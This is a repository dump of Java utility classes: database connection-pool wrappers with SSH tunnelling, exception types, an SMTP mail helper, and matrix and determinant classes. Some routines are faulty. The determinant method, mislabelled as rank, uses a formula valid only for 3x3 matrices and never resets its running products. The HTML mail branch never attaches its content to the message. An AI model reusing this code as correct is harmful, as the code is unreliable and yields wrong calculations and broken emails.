    "content": "package com.jun.plugin.commons.util.db.ds;\n\nimport java.beans.PropertyVetoException;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.sql.DataSource;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.LangUtil;\nimport com.jun.plugin.commons.util.Setting;\nimport com.jun.plugin.commons.util.Exceptions.ConnException;\nimport com.jun.plugin.commons.util.Exceptions.SettingException;\nimport com.jun.plugin.commons.util.db.DbUtil;\nimport com.jun.plugin.commons.util.db.DsSetting;\nimport com.jun.plugin.commons.util.net.SSHUtil;\nimport com.jun.plugin.commons.util.net.SocketUtil;\nimport com.mchange.v2.c3p0.ComboPooledDataSource;\n\n/**\n * 封装Druid数据源\n * \n * @author Wujun\n * \n */\npublic class C3p0Ds {\n\tprivate static Logger logger = LoggerFactory.getLogger(C3p0Ds.class);\n\n\t/*--------------------------私有变量 start-------------------------------*/\n\t/** JDBC配置对象 */\n\tprivate static Setting dbSetting;\n\n\t/** 数据源池 */\n\tprivate static Map<String, ComboPooledDataSource> dsMap;\n\t/*--------------------------私有变量 end-------------------------------*/\n\n\tstatic {\n\t\ttry {\n\t\t\tinit(null);\n\t\t} catch (Exception e) {\n\t\t\tlogger.debug(\"No default DB config file {} found, custom to init it.\", DsSetting.DEFAULT_DB_CONFIG_PATH);\n\t\t}\n\t}\n\n\t/**\n\t * 初始化数据库连接配置文件\n\t * \n\t * @param db_setting 数据库配置文件\n\t */\n\tsynchronized public static void init(Setting db_setting) {\n\t\tdsMap = new HashMap<String, ComboPooledDataSource>();\n\n\t\t// 初始化数据库连接配置文件\n\t\tdbSetting = db_setting;\n\t\tif (dbSetting == null) {\n\t\t\tdbSetting = new Setting(DsSetting.DEFAULT_DB_CONFIG_PATH, Setting.DEFAULT_CHARSET, true);\n\t\t}\n\t}\n\n\t/**\n\t * 获得一个数据源\n\t * \n\t * @param dsName 数据源名称，若null使用配置文件中的默认连接，此名称在配置文件中定义\n\t * @param sshName 跳板机名称\n\t * @throws ConnException\n\t */\n\tsynchronized public static DataSource getDataSource(String dsName, String sshName) throws ConnException {\n\t\tif(dbSetting == null) {\n\t\t\tthrow new ConnException(\"No setting found, please init it!\");\n\t\t}\n\t\tDsSetting dsSetting = null;\n\t\ttry {\n\t\t\tdsSetting = new DsSetting(dsName, sshName, dbSetting);\n\t\t} catch (SettingException e) {\n\t\t\tthrow new ConnException(\"数据源设定初始化失败！\", e);\n\t\t}\n\n\t\t// 如果已经存在已有数据源（连接池）直接返回\n\t\tComboPooledDataSource existedDataSource = dsMap.get(dsSetting.getName());\n\t\tif (existedDataSource != null) {\n\t\t\treturn existedDataSource;\n\t\t}\n\n\t\t// 基本连接信息\n\t\tString remoteHost = dsSetting.getString(DsSetting.KEY_DS_HOST);\n\t\tint port = dsSetting.getInt(DsSetting.KEY_DS_PORT);\n\t\tString dbName = dsSetting.getString(DsSetting.KEY_DS_DB);\n\t\t// 验证连接信息的有效性\n\t\tif (LangUtil.isEmpty(remoteHost) || !SocketUtil.isValidPort(port) || LangUtil.isEmpty(dbName)) {\n\t\t\tthrow new ConnException(\"Invalid connection info=>host:\" + remoteHost + \", port:\" + port + \", database:\" + dbName + \"】\");\n\t\t}\n\n\t\tComboPooledDataSource cpds = new ComboPooledDataSource();\n\t\t// 基本连接信息\n\t\ttry {\n\t\t\tcpds.setDriverClass(dsSetting.getJdbcDriver());\n\t\t} catch (PropertyVetoException e) {\n\t\t\tthrow new ConnException(\"Set JDBC Driver fail!\", e);\n\t\t}\n\t\tcpds.setUser(dsSetting.getDsUser());\n\t\tcpds.setPassword(dsSetting.getDsPass());\n\t\tif (dsSetting.isEnableSSH()) {\n\t\t\tport = SSHUtil.openAndBindPortToLocal(dsSetting.getSSHConnector(), remoteHost, port);\n\t\t\tremoteHost = SocketUtil.LOCAL_IP;\n\t\t}\n\t\tString jdbcUrl = DbUtil.buildJdbcUrl(dsSetting.getProtocol(), remoteHost, port, dbName, dsSetting.getJdbcUrlParam());\n\t\tcpds.setJdbcUrl(jdbcUrl);\n\t\tlogger.info(\"【{}】{}@{}\", dsSetting.getName(), cpds.getUser(), jdbcUrl);\n\n\t\t// 添加到数据源池中，以备下次使用\n\t\tdsMap.put(dsSetting.getName(), cpds);\n\t\treturn cpds;\n\t}\n\n\t/**\n\t * 获得默认数据源（连接池），链接信息来自于配置文件\n\t * \n\t * @return 数据源对象\n\t * @throws ConnException\n\t */\n\tsynchronized public static DataSource getDataSource() throws ConnException {\n\t\treturn getDataSource(null, null);\n\t}\n\n\t/**\n\t * 获得一个数据库连接池中的连接\n\t * \n\t * @param datasource 数据源名称，此名称在配置文件中定义\n\t * @param sshName SSH连接名称，此名称在配置文件中定义\n\t * @return 连接对象\n\t * @throws SQLException\n\t * @throws ConnException\n\t */\n\tsynchronized public static Connection getConnection(String datasource, String sshName) throws SQLException, ConnException {\n\t\treturn getDataSource(datasource, sshName).getConnection();\n\t}\n\n\t/**\n\t * 获得一个默认连接池中的连接（此默认连接取决于配置文件）\n\t * \n\t * @return 连接对象\n\t * @throws SQLException\n\t * @throws ConnException\n\t */\n\tsynchronized public static Connection getConnection() throws SQLException, ConnException {\n\t\treturn getConnection(null, null);\n\t}\n\n\t/**\n\t * 关闭数据源\n\t * \n\t * @param dsName 数据源名称\n\t * @param sshName SSH名称\n\t */\n\tsynchronized public static void closeDs(String dsName, String sshName) {\n\t\tDsSetting dsSetting = null;\n\t\ttry {\n\t\t\tdsSetting = new DsSetting(dsName, sshName, dbSetting);\n\t\t} catch (SettingException e) {\n\t\t\tlogger.error(\"Error to init DsSetting.\", e);\n\t\t\treturn;\n\t\t}\n\n\t\tString name = dsSetting.getName();\n\t\tComboPooledDataSource ds = dsMap.get(name);\n\t\tif (ds != null) {\n\t\t\tds.close();\n\t\t\tdsMap.remove(name);\n\t\t}\n\t}\n\n\t/**\n\t * 关闭默认数据源\n\t */\n\tsynchronized public static void closeDs() {\n\t\tcloseDs(null, null);\n\t}\n\n\t/**\n\t * 关闭所有连接池\n\t */\n\tsynchronized public static void closeAll() {\n\t\tCollection<ComboPooledDataSource> values = dsMap.values();\n\t\tfor (ComboPooledDataSource ds : values) {\n\t\t\tif (ds != null) {\n\t\t\t\tds.close();\n\t\t\t}\n\t\t}\n\t\tdsMap.clear();\n\t\tSSHUtil.closeAll();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/db/ds/DruidDs.java",
    "content": "package com.jun.plugin.commons.util.db.ds;\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.sql.DataSource;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.jun.plugin.commons.util.FileUtil;\nimport com.jun.plugin.commons.util.LangUtil;\nimport com.jun.plugin.commons.util.Setting;\nimport com.jun.plugin.commons.util.Exceptions.ConnException;\nimport com.jun.plugin.commons.util.Exceptions.SettingException;\nimport com.jun.plugin.commons.util.db.DbUtil;\nimport com.jun.plugin.commons.util.db.DsSetting;\nimport com.jun.plugin.commons.util.net.SSHUtil;\nimport com.jun.plugin.commons.util.net.SocketUtil;\n\n/**\n * 封装Druid数据源\n * \n * @author Wujun\n * \n */\npublic class DruidDs {\n\tprivate static Logger logger = LoggerFactory.getLogger(DruidDs.class);\n\t\n\t/** 默认的Druid配置文件路径 */\n\tpublic final static String DEFAULT_DRUID_CONFIG_PATH = \"config/druid.setting\";\n\n\t/*--------------------------私有变量 start-------------------------------*/\n\t/** JDBC配置对象 */\n\tprivate static Setting dbSetting;\n\tprivate static Setting druidSetting;\n\n\t/** 数据源池 */\n\tprivate static Map<String, DruidDataSource> dsMap;\n\t/*--------------------------私有变量 end-------------------------------*/\n\n\tstatic {\n\t\tinit(null, null);\n\t}\n\n\t/**\n\t * 初始化数据库连接配置文件\n\t * \n\t * @param druid_setting Druid配置文件\n\t * @param db_setting 数据库配置文件\n\t */\n\tsynchronized public static void init(Setting druid_setting, Setting db_setting) {\n\t\tdsMap = new HashMap<String, DruidDataSource>();\n\n\t\t// 初始化Druid配置文件\n\t\tdruidSetting = druid_setting;\n\t\tif (druidSetting == null) {\n\t\t\ttry {\n\t\t\t\tdruidSetting = new Setting(DEFAULT_DRUID_CONFIG_PATH, Setting.DEFAULT_CHARSET, true);\n\t\t\t}catch(Exception e) {\n\t\t\t\tlogger.info(\"Druid setting file {} not found.\", DEFAULT_DRUID_CONFIG_PATH);\n\t\t\t}\n\t\t}\n\t\t// 初始化数据库连接配置文件\n\t\tdbSetting = db_setting;\n\t\tif (dbSetting == null) {\n\t\t\ttry {\n\t\t\t\tdbSetting = new Setting(DsSetting.DEFAULT_DB_CONFIG_PATH, Setting.DEFAULT_CHARSET, true);\n\t\t\t}catch(Exception e) {\n\t\t\t\tlogger.info(\"No default DB config file {} found, custom to init it.\", DsSetting.DEFAULT_DB_CONFIG_PATH);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 获得一个数据源\n\t * \n\t * @param dsName 数据源名称，若null使用配置文件中的默认连接，此名称在配置文件中定义\n\t * @param sshName 跳板机名称\n\t * @throws ConnException\n\t */\n\tsynchronized public static DataSource getDataSource(String dsName, String sshName) throws ConnException {\n\t\tif(dbSetting == null) {\n\t\t\tthrow new ConnException(\"No setting found, please init it!\");\n\t\t}\n\t\tDsSetting dsSetting = null;\n\t\ttry {\n\t\t\tdsSetting = new DsSetting(dsName, sshName, dbSetting);\n\t\t} catch (SettingException e) {\n\t\t\tthrow new ConnException(\"Init datasource setting fail！\", e);\n\t\t}\n\n\t\t// 如果已经存在已有数据源（连接池）直接返回\n\t\tDruidDataSource existedDataSource = dsMap.get(dsSetting.getName());\n\t\tif (existedDataSource != null) {\n\t\t\treturn existedDataSource;\n\t\t}\n\n\t\t// 基本连接信息\n\t\tString remoteHost = dsSetting.getString(DsSetting.KEY_DS_HOST);\n\t\tint port = dsSetting.getInt(DsSetting.KEY_DS_PORT);\n\t\tString dbName = dsSetting.getString(DsSetting.KEY_DS_DB);\n\t\t// 验证连接信息的有效性\n\t\tif (LangUtil.isEmpty(remoteHost) || !SocketUtil.isValidPort(port) || LangUtil.isEmpty(dbName)) {\n\t\t\tthrow new ConnException(\"Invalid connection info=>host:\" + remoteHost + \", port:\" + port + \", database:\" + dbName + \"】\");\n\t\t}\n\n\t\tDruidDataSource dds = new DruidDataSource();\n\t\tif(druidSetting != null) {\n\t\t\ttry {\n\t\t\t\t// 连接池参数注入\n\t\t\t\tdruidSetting.settingToObject(dds);\n\t\t\t} catch (SettingException e) {\n\t\t\t\tthrow new ConnException(\"Read Druid setting error!\", e);\n\t\t\t}\n\t\t}\n\t\t// 基本连接信息\n\t\tdds.setName(dsSetting.getName()); // 数据源名称为连接名称\n\t\tdds.setDriverClassName(dsSetting.getJdbcDriver());\n\t\tdds.setUsername(dsSetting.getDsUser());\n\t\tdds.setPassword(dsSetting.getDsPass());\n\t\tif (dsSetting.isEnableSSH()) {\n\t\t\tport = SSHUtil.openAndBindPortToLocal(dsSetting.getSSHConnector(), remoteHost, port);\n\t\t\tremoteHost = SocketUtil.LOCAL_IP;\n\t\t}\n\t\tString jdbcUrl = DbUtil.buildJdbcUrl(dsSetting.getProtocol(), remoteHost, port, dbName, dsSetting.getJdbcUrlParam());\n\t\tdds.setUrl(jdbcUrl);\n\t\tlogger.info(\"【{}】{}@{}\", dsSetting.getName(), dds.getUsername(), jdbcUrl);\n\n\t\t// 添加到数据源池中，以备下次使用\n\t\tdsMap.put(dsSetting.getName(), dds);\n\t\treturn dds;\n\t}\n\n\t/**\n\t * 获得默认数据源（连接池），链接信息来自于配置文件\n\t * \n\t * @return 数据源\n\t * @throws ConnException\n\t */\n\tsynchronized public static DataSource getDataSource() throws ConnException {\n\t\treturn getDataSource(null, null);\n\t}\n\n\t/**\n\t * 获得一个数据库连接池中的连接\n\t * \n\t * @param datasource 数据源名称，此名称在配置文件中定义\n\t * @param sshName SSH连接名称\n\t * @return 连接对象\n\t * @throws SQLException\n\t * @throws ConnException\n\t */\n\tsynchronized public static Connection getConnection(String datasource, String sshName) throws SQLException, ConnException {\n\t\treturn getDataSource(datasource, sshName).getConnection();\n\t}\n\n\t/**\n\t * 获得一个默认连接池中的连接（此默认连接取决于配置文件）\n\t * \n\t * @return 连接对象\n\t * @throws SQLException\n\t * @throws ConnException\n\t */\n\tsynchronized public static Connection getConnection() throws SQLException, ConnException {\n\t\treturn getConnection(null, null);\n\t}\n\n\t/**\n\t * 关闭数据源\n\t * \n\t * @param dsName 数据源名称\n\t * @param sshName SSH名称\n\t */\n\tsynchronized public static void closeDs(String dsName, String sshName) {\n\t\tDsSetting dsSetting = null;\n\t\ttry {\n\t\t\tdsSetting = new DsSetting(dsName, sshName, dbSetting);\n\t\t} catch (SettingException e) {\n\t\t\tlogger.error(\"Error to init DsSetting.\", e);\n\t\t\treturn;\n\t\t}\n\n\t\tString name = dsSetting.getName();\n\t\tDruidDataSource dds = dsMap.get(name);\n\t\tif (dds != null) {\n\t\t\tFileUtil.close(dds);\n\t\t\tdsMap.remove(name);\n\t\t}\n\t}\n\n\t/**\n\t * 关闭默认数据源\n\t */\n\tsynchronized public static void closeDs() {\n\t\tcloseDs(null, null);\n\t}\n\n\t/**\n\t * 关闭所有连接池\n\t */\n\tsynchronized public static void closeAll() {\n\t\tCollection<DruidDataSource> values = dsMap.values();\n\t\tfor (DruidDataSource dds : values) {\n\t\t\tif (dds != null) {\n\t\t\t\tdds.close();\n\t\t\t}\n\t\t}\n\t\tdsMap.clear();\n\t\tSSHUtil.closeAll();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/exception/ExceptAll.java",
    "content": "/**   \n * @Title: ExceptAll.java\n * @Package rjzjh.tech.common.Exception\n * @Description: TODO(用一句话描述该文件做什么)\n * @author Wujun\n * @date 2010-10-29 下午01:26:42\n * @version V1.0   \n */\npackage com.jun.plugin.commons.util.exception;\n\n/**\n * @ClassName: ExceptAll\n * @Description: 自定义异常编码与其解释（仅项目用。）\n * @author Wujun\n * @date 2010-10-29 下午01:26:42\n * \n */\npublic enum ExceptAll {\n\tdefault_Project(\"系统错误，请联系相关管理人员\"),\n\tdefault_Param(\"要连接的数据不能传空\"),\n\t\n\tProject_nofile(\"找不到文件\"),\n\t\n\tparam_noblank(\"参数不能为空\"),\n\t\n\tfile_readerror(\"读取文件错误\"),\n\t\n\tnet_clienterror(\"客户端连接错误\"),\n\tnet_streamclose(\"关闭流错误\"),\n\t\n\treflect_nomethod(\"反射中缺少方法\");// freemark模板读取错误\n\t\n\t\n\n\tprivate String desc;\n\n\tprivate ExceptAll(String desc) {\n\t\tthis.desc = desc;\n\t}\n\n\tpublic String getDesc() {\n\t\treturn desc;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/exception/ParamInfoBean.java",
    "content": "package com.jun.plugin.commons.util.exception;\n\npublic class ParamInfoBean {\n\t// public final static String showErrorFormate = MessageUtils.get(lang,\n\t// \"exception.param.default\");\n\tprivate Integer index;\n\tprivate String name;\n\tprivate String errStr;\n\tprivate String needStr;\n\n\tpublic ParamInfoBean(Integer index, String errStr) {\n\t\tsuper();\n\t\tthis.index = index;\n\t\tthis.errStr = errStr;\n\t}\n\n\tpublic ParamInfoBean(Integer index, String errStr, String needStr) {\n\t\tsuper();\n\t\tthis.index = index;\n\t\tthis.errStr = errStr;\n\t\tthis.needStr = needStr;\n\t}\n\n\tpublic ParamInfoBean(String errStr) {\n\t\tsuper();\n\t\tthis.errStr = errStr;\n\t}\n\n\tpublic ParamInfoBean(String name, String errStr) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.errStr = errStr;\n\t}\n\n\tpublic ParamInfoBean(String name, String errStr, String needStr) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.errStr = errStr;\n\t\tthis.needStr = needStr;\n\t}\n\n\tpublic Integer getIndex() {\n\t\treturn index;\n\t}\n\n\tpublic void setIndex(Integer index) {\n\t\tthis.index = index;\n\t}\n\n\tpublic String getErrStr() {\n\t\treturn errStr;\n\t}\n\n\tpublic void setErrStr(String errStr) {\n\t\tthis.errStr = errStr;\n\t}\n\n\tpublic String getNeedStr() {\n\t\treturn needStr;\n\t}\n\n\tpublic void setNeedStr(String needStr) {\n\t\tthis.needStr = needStr;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/exception/ProjectException.java",
    "content": "package com.jun.plugin.commons.util.exception;\n\nimport java.util.Locale;\n\nimport org.mvel2.templates.TemplateRuntime;\n\nimport com.jun.plugin.commons.util.MessageUtils;\nimport com.jun.plugin.commons.util.callback.IConvertValue;\n\n/**\n * @ClassName: ProjectException\n * @Description: 整个项目的异常基类，errorCode不允许修改且必需是ExceptAll所枚举的异常编码。<br>\n *               errorMessage可以修改，如果不修改且是ExceptAll枚举的desc字段。\n * @author Wujun\n * @date 2010-10-29 下午03:45:52\n */\n\n@SuppressWarnings(\"rawtypes\")\npublic class ProjectException extends Exception {\n\tprivate static final long serialVersionUID = 6143648298220882870L;\n\tprotected String errorMessage;\n\tprotected Throwable cause;\n\n\tpublic ProjectException(Enum exceptionAll) {\n\t\tsuper(exceptionAll.name());\n\t\tthis.errorMessage = exceptionAll.name();\n\t}\n\n\t/**\n\t * @param ExceptAll\n\t *            exceptAll\n\t * @param errBean\n\t *            错误的参数bean\n\t * */\n\tpublic ProjectException(Enum exceptionAll, ParamInfoBean errBean,\n\t\t\tString lang) {\n\t\tsuper(exceptionAll.name());\n\t\tString temp = MessageUtils.get(lang, \"exception.param.default\");\n\t\tthis.errorMessage = (String) TemplateRuntime.eval(temp, errBean);\n\t}\n\n\tpublic ProjectException(Enum exceptionAll, Throwable cause) {\n\t\tsuper(exceptionAll.name(), cause);\n\t\tthis.errorMessage = exceptionAll.name();\n\t\tthis.cause = cause;\n\t}\n\n\t/**\n\t * 当有自定义的错误原因时可用此构造函数\n\t * */\n\tpublic ProjectException(Enum exceptionAll, String errMsg) {\n\t\tsuper(exceptionAll.name());\n\t\tthis.errorMessage = errMsg;\n\t}\n\t\n\tpublic String getMessage(IConvertValue convertValue){\n\t\treturn convertValue.getStr(super.getMessage());\n\t}\n\n\t//@Override\n\tpublic String getShowMessage() {\n\t\tString lang = Locale.getDefault().getLanguage();\n\t\treturn getShowMessage(lang);\n\t}\n\n\tpublic String getShowMessage(String lang) {\n\t\tString restr = MessageUtils.get(lang, \"exception.hint.reason\");\n\t\tString errstr = MessageUtils.get(lang, \"exception.hint.errorcodemsg\");\n\n\t\tStringBuffer sb = new StringBuffer();\n\t\tif (this.cause != null && !(this.cause instanceof ProjectException)) {\n\t\t\tsb.append(restr + \"\\n\");\n\t\t\tStackTraceElement[] es = this.cause.getStackTrace();\n\t\t\tfor (int i = 0; i < es.length; i++) {\n\t\t\t\tsb.append(es[i] + \"\\n\");\n\t\t\t}\n\t\t}\n\t\tsb.append(errstr + \"[code=\" + super.getMessage() + \"],[message=\"\n\t\t\t\t+ getErrorMessage() + \"]\");\n\t\treturn sb.toString();\n\t}\n\n\tpublic String getErrorMessage() {\n\t\treturn errorMessage;\n\t}\n\n\tpublic void setErrorMessage(String errorMessage) {\n\t\tthis.errorMessage = errorMessage;\n\t}\n\n\tpublic Throwable getCause() {\n\t\treturn cause;\n\t}\n\n\tpublic void setCause(Throwable cause) {\n\t\tthis.cause = cause;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/mail/MailAccount.java",
    "content": "package com.jun.plugin.commons.util.mail;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.Setting;\nimport com.jun.plugin.commons.util.Exceptions.SettingException;\n\n/**\n * 邮件账户对象\n * @author Wujun\n *\n */\npublic class MailAccount {\n\tprivate static Logger logger = LoggerFactory.getLogger(MailAccount.class);\n\t\n\tpublic static final String MAIL_SETTING_PATH = \"config/mailAccount.setting\";\n\t\n\tprivate String host;\n\tprivate String port;\n\tprivate boolean auth;\n\tprivate String user;\n\tprivate String pass;\n\tprivate String from;\n\t\n\tpublic MailAccount() {\n\t}\n\n\tpublic MailAccount(String accountSettingFileBaseClassLoader) {\n\t\ttry {\n\t\t\tnew Setting(accountSettingFileBaseClassLoader, \"utf8\", false).settingToObject(this);\n\t\t} catch (SettingException e) {\n\t\t\tlogger.error(\"Init mail account fail!\", e);\n\t\t}\n\t\tlogger.debug(toString());\n\t}\n\t\n\tpublic MailAccount(Setting setting) {\n\t\ttry {\n\t\t\tsetting.settingToObject(this);\n\t\t} catch (SettingException e) {\n\t\t\tlogger.error(\"Init mail account fail!\", e);\n\t\t}\n\t}\n\t\n\tpublic String getHost() {\n\t\treturn host;\n\t}\n\tpublic void setHost(String host) {\n\t\tthis.host = host;\n\t}\n\tpublic String getPort() {\n\t\treturn port;\n\t}\n\tpublic void setPort(String port) {\n\t\tthis.port = port;\n\t}\n\tpublic boolean isAuth() {\n\t\treturn auth;\n\t}\n\tpublic void setAuth(boolean isAuth) {\n\t\tthis.auth = isAuth;\n\t}\n\tpublic String getUser() {\n\t\treturn user;\n\t}\n\tpublic void setUser(String user) {\n\t\tthis.user = user;\n\t}\n\tpublic String getPass() {\n\t\treturn pass;\n\t}\n\tpublic void setPass(String pass) {\n\t\tthis.pass = pass;\n\t}\n\tpublic String getFrom() {\n\t\treturn from;\n\t}\n\tpublic void setFrom(String from) {\n\t\tthis.from = from;\n\t}\n\t\n\t@Override\n\tpublic String toString() {\n\t\treturn \"MailAccount [host=\" + host + \", port=\" + port + \", isAuth=\" + auth + \", user=\" + user + \", pass=******, from=\" + from + \"]\";\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/mail/MailUtil.java",
    "content": "package com.jun.plugin.commons.util.mail;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Properties;\n\nimport javax.mail.Authenticator;\nimport javax.mail.BodyPart;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class MailUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(MailUtil.class);\n\t\n\tprivate static final String SMTP_HOST = \"mail.smtp.host\";\n\tprivate static final String SMTP_PORT = \"mail.smtp.port\";\n\tprivate static final String SMTP_AUTH = \"mail.smtp.auth\";\n\t\n\t/**\n\t * 发送邮件给单收件人\n\t * @param to 收件人\n\t * @param subject 标题\n\t * @param content 正文\n\t * @param isHtml 是否为HTML\n\t */\n\tpublic static void sendToSingle(String to, String subject, String content, boolean isHtml) {\n\t\tList<String> list = new ArrayList<String>();\n\t\tlist.add(to);\n\t\tsend(list, subject, content, isHtml);\n\t}\n\t\n\t/**\n\t * 使用默认的设置账户发送邮件\n\t * @param tos 收件人列表\n\t * @param subject 标题\n\t * @param content 正文\n\t * @param isHtml 是否为HTML\n\t */\n\tpublic static void send(Collection<String> tos, String subject, String content, boolean isHtml) {\n\t\tMailAccount mailAccount = new MailAccount(MailAccount.MAIL_SETTING_PATH);\n\t\ttry {\n\t\t\tsend(mailAccount, tos, subject, content, isHtml);\n\t\t} catch (MessagingException e) {\n\t\t\tlogger.error(\"Send mail error!\", e);\n\t\t}\n\t}\n\t\n\t/**\n\t * 发送邮件给多人\n\t * @param mailAccount 邮件认证对象\n\t * @param tos 收件人列表\n\t * @param subject 标题\n\t * @param content 正文\n\t * @param isHtml 是否为HTML格式\n\t * @throws MessagingException\n\t */\n\tpublic static void send(final MailAccount mailAccount, Collection<String> tos, String subject, String content, boolean isHtml) throws MessagingException {\n\t\tProperties p = new Properties();\n\t\tp.put(SMTP_HOST, mailAccount.getHost());\n\t\tp.put(SMTP_PORT, mailAccount.getPort());\n\t\tp.put(SMTP_AUTH, mailAccount.isAuth());\n\t\t\n\t\t//认证登录\n\t\tSession session = Session.getDefaultInstance(p, \n\t\t\tmailAccount.isAuth() ? \n\t\t\t\tnew Authenticator() {\n\t\t\t\t\t@Override\n\t\t\t\t\tprotected PasswordAuthentication getPasswordAuthentication() {\n\t\t\t\t\t\treturn new PasswordAuthentication(mailAccount.getUser(), mailAccount.getPass());\n\t\t\t\t\t}\n\t\t\t\t} : null\n\t\t);\n\t\t\n\t\tMessage mailMessage = new MimeMessage(session);\n\t\tmailMessage.setFrom(new InternetAddress(mailAccount.getFrom()));\n\t\tmailMessage.setSubject(subject);\n\t\tmailMessage.setSentDate(new Date());\n\t\t\n\t\tif(isHtml) {\n\t\t\tMultipart mainPart = new MimeMultipart();\n\t\t\tBodyPart html = new MimeBodyPart();\n\t\t\thtml.setContent(content, \"text/html; charset=utf-8\");\n\t\t\tmainPart.addBodyPart(html);\n\t\t}else {\n\t\t\tmailMessage.setText(content);\n\t\t}\n\t\t\n\t\tfor (String to : tos) {\n\t\t\tmailMessage.setRecipient(Message.RecipientType.TO,new InternetAddress(to));\n\t\t\tTransport.send(mailMessage);\n\t\t\tlogger.info(\"Send mail to {} successed.\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/maths/Det.java",
    "content": "package com.jun.plugin.commons.util.maths;\n\n/**\n * 行列式\n * Det\n * Version：1.0\n * Author：WSK\n * 2013-5-10  下午05:52:56\n */\npublic class Det extends Matrix\n{\n\t//n阶行列式\n\tpublic Det(int n)\n\t{\n\t\tsuper(n, n);\n\t}\n\t//单位矩阵\n\tpublic static Det getIDet(int n)\n\t{\n\t\tDet det=new Det(n);\n\t\tfor(int i=0;i<n;++i)\n\t\t{\n\t\t\tdet.setValue(i, i, 1d);\n\t\t}\n\t\treturn det;\n\t}\n\t//矩阵的秩\n\tpublic Double getDecade()\n\t{\n\t    Double product1=1d,sum1=0d;\n        for(int i=0;i<n;++i)\n        {\n            int k=i;\n            for(int j=0;j<n;++j)\n            {\n                product1*=matrix[j][(k++)%n];\n            }\n            sum1+=product1;\n        }\t\t\n\n\t    Double product2=1d,sum2=0d;\n        for(int i=n-1;i>=0;i--)\n        {\n           int k=i;\n           for(int j=0;j<n;j++)\n           {\n        \t   product2*=matrix[j][(k--+n)%n];     \n           }\n           sum2+=product2;\n        }\n        return sum1-sum2;\n  \t}\n\tpublic int getRankCount()\n\t{\n\t\treturn n;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/maths/Matrix.java",
    "content": "package com.jun.plugin.commons.util.maths;\n\n/**\n * 矩阵\n * Matrix\n * Version：1.0\n * Author：WSK\n * 2013-5-10  下午05:52:51\n */\npublic class Matrix\n{\n\tprotected Double[][] matrix;\n\tprotected int m;//行\n\tprotected int n;//列\n\t\n\t//创建m*n的矩阵\n\tpublic Matrix(int m,int n)\n\t{\n\t\tthis.m=m;\n\t\tthis.n=n;\n\t\tmatrix=new Double[m][n];\n\t\treset();\n\t}\n\t//重置矩阵为0矩阵\n\tpublic void reset()\n\t{\n\t\tfor(int i=0;i<m;++i)\n\t\t{\n\t\t\tfor(int j=0;j<n;++j)\n\t\t\t{\n\t\t\t\tmatrix[i][j]=0d;\n\t\t\t}\n\t\t}\n\t}\n\tpublic Double getValue(int i,int j)\n\t{\n\t\treturn matrix[i][j];\n\t}\n\tpublic void setValue(int i,int j,Double x)\n\t{\n\t\tmatrix[i][j]=x;\n\t}\n\tpublic int getRowCount()\n\t{\n\t\treturn m;\n\t}\n\tpublic int getColumnCount()\n\t{\n\t\treturn n;\n\t}\n\tpublic void setRowValue(int row,Double[] rowValue)\n\t{\n\t\tfor(int j=0;j<n;++j)\n\t\t{\n\t\t\tmatrix[row][j]=rowValue[j];\n\t\t}\n\t}\n\tpublic void setColValue(int col,Double[] colValue)\n\t{\n\t\tfor(int i=0;i<m;++i)\n\t\t{\n\t\t\tmatrix[i][col]=colValue[i];\n\t\t}\t\t\n\t}\n\tpublic Double[] getRowValue(int row)\n\t{\n\t\treturn matrix[row];\n\t}\n\tpublic Double[] getColValue(int col)\n\t{\n\t\tDouble[] colValue=new Double[m];\n\t\tfor(int i=0;i<m;++i)\n\t\t{\n\t\t\tcolValue[i]=matrix[i][col];\n\t\t}\n\t\treturn colValue;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/maths/algorithm/MultiVariableLinearRegression.java",
